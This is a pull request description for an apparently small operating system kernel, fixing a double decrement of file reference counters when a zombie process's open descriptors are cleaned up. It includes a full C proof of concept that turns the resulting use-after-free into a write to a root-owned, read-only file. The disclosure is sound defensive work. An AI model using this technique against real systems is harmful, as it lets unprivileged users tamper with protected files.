fix(vfs): properly close remaining files in vfs_destroy_task

[ksaweryr]

Description

This PR fixes a bug in vfs_destroy_task. This function decrements file struct counters before calling fs_operations->close_f but fs_operations->close_f is actually responsible for doing that. As a result, when a zombie process is destroyed, its file descriptors that are still open will have the counters of their corresponding files decremented twice. To reproduce, run echo abcd >> test 4 times - the 3rd invocation will corrupt /bin/echo, the 4th one will fail (since /bin/echo no longer has the correct header). This could also be used maliciously to overwrite data in files for which the user has only read permissions, as demonstrated by the following piece of code (run as user):

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <unistd.h>

#define VICTIM_FNAME "victim.txt"
#define ATTACKER_FNAME "attacker.txt"

void setup_files(void) {
    int attacker = creat(ATTACKER_FNAME, 0644);
    close(attacker);

    int victim = creat(VICTIM_FNAME, 0644);
    write(victim, "CONTENT", 7);
    close(victim);

    chmod(VICTIM_FNAME, 0444);
    chown(VICTIM_FNAME, 0, 0);
}

void subprocess(void) {
    // fd is never closed - as such, when the process terminates, the corresponding counter will be decremented twice and ATTACKER_FNAME counter will have the value of -1
    int fd = open(ATTACKER_FNAME, O_RDONLY, 0);
}

int main(void) {
    setup_files();
    // at this point file VICTIM_FNAME belongs to `root`, `user` is only allowed to read it

    pid_t pid = fork();

    if (pid == 0) {
        subprocess();
        return 0;
    }

    waitpid(pid, NULL, 0);

    // ATTACKER_FNAME counter: -1
    int attacker1 = open(ATTACKER_FNAME, O_RDWR, 0);
    // ATTACKER_FNAME counter: 0
    int attacker2 = open(ATTACKER_FNAME, O_RDWR, 0);
    // ATTACKER_FNAME counter: 1
    close(attacker2);
    // ATTACKER_FNAME counter: 0 - file struct gets freed
    int victim = open(VICTIM_FNAME, O_RDONLY, 0);
    // VICTIM_FNAME file struct gets allocated where ATTACKER_FNAME file struct was; attacker1 and victim both point to the same file struct but attacker1 has write permissions

    write(attacker1, "PWNED!", 6);

    char buf[7];
    lseek(victim, 0, SEEK_SET);
    read(victim, buf, 6);
    buf[6] = 0;

    printf("Read from victim: %s\n", buf); // expected: CONTEN; actual: PWNED!

    close(victim);
    close(attacker1);

    return 0;
}

Related Issues

Changes Made

• Fixed a bug in decrementing file struct counter twice when cleaning up FD list entries that are still open after a process has terminated

Testing Performed

• Built successfully on Debian 13
• Tested manually with make qemu
• Ran test suite with make qemu-test
• All tests pass

Checklist

• Code follows project style guidelines
• Comments added for complex logic
• Documentation updated (if applicable)
• Tests added/updated (if applicable)
• Builds without warnings
• Tested on QEMU